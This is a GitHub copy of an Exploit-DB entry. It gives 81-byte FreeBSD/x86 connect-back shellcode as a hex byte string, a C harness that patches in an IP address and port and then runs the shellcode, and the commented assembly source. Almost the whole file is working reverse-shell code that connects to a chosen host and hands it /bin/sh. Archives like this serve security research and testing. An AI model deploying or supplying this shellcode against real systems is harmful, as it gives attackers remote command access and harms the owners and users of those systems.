forked from offensive-security/exploitdb
-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy path16025.c
More file actions
executable file
·133 lines (111 loc) · 2.69 KB
/
Copy path16025.c
File metadata and controls
executable file
·133 lines (111 loc) · 2.69 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
/*
-------------- FreeBSD/x86 - connect back /bin/sh. 81 bytes ----------------
* AUTHOR : Tosh
* OS : BSDx86 (Tested on FreeBSD 8.1)
* EMAIL : tosh@tuxfamily.org
*/
#include <stdio.h>
#include <string.h>
#include <arpa/inet.h>
char shellcode [] = "\x31\xc0\x50\x6a\x01\x6a\x02\xb0\x61\x50\xcd\x80\x89\xc2"
"\x68\x7f\x00\x00\x01\x66\x68\x05\x39\x66\x68\x01\x02\x89"
"\xe1\x6a\x10\x51\x52\x31\xc0\xb0\x62\x50\xcd\x80\x31\xc9"
"\x51\x52\x31\xc0\xb0\x5a\x50\xcd\x80\xfe\xc1\x80\xf9\x03"
"\x75\xf0\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80";
void change_shellcode(const char *ip, unsigned short port)
{
*((unsigned long*)(shellcode + 15)) = inet_addr(ip);
*((unsigned short*)(shellcode + 21)) = htons(port);
}
void print_shellcode(void)
{
int i;
for(i = 0; i < sizeof(shellcode) - 1; i++)
{
printf("\\x%.2x", (unsigned char)shellcode[i]);
}
printf("\n");
}
int main(void)
{
const char ip[] = "127.0.0.1";
unsigned short port = 1337;
change_shellcode(ip, port);
print_shellcode();
printf("Shellcode len = %d bytes\n", sizeof(shellcode)-1);
void (*f)() = (void*) shellcode;
f();
return 0;
}
/*
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Syscalls nums, on /usr/src/sys/kern/syscalls.master ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
%define IPPROTO_TCP 6
%define SOCK_STREAM 1
%define AF_INET 2
%define SYS_EXECV 59
%define SYS_DUP2 90
%define SYS_SOCKET 97
%define SYS_CONNECT 98
section .text
global _start
_start:
xor eax, eax
;;;;;;;;;;;;;;;;;;;;;;
; socket()
;;;;;;;;;;;;;;;;;;;;;;
push eax
push byte SOCK_STREAM
push byte AF_INET
mov al, SYS_SOCKET
push eax
int 0x80
mov edx, eax
;;;;;;;;;;;;;;;;;;;;;;
; sockaddr_in
;;;;;;;;;;;;;;;;;;;;;;
push 0x0100007f
push word 0x3905
push word 0x0201
mov ecx, esp
;;;;;;;;;;;;;;;;;;;;;
; connect()
;;;;;;;;;;;;;;;;;;;;;
push byte 16
push ecx
push edx
xor eax, eax
mov al, SYS_CONNECT
push eax
int 0x80
;;;;;;;;;;;;;;;;;;;;;
; dup2()
;;;;;;;;;;;;;;;;;;;;;
xor ecx, ecx
.L:
push ecx
push edx
xor eax, eax
mov al, SYS_DUP2
push eax
int 0x80
inc cl
cmp cl, 3
jne .L
;;;;;;;;;;;;;;;;;;;;;;
; execv("/bin/sh")
;;;;;;;;;;;;;;;;;;;;;;
xor eax, eax
push eax
push '//sh'
push '/bin'
mov ebx, esp
push eax
push esp
push ebx
mov al, SYS_EXECV
push eax
int 0x80
*/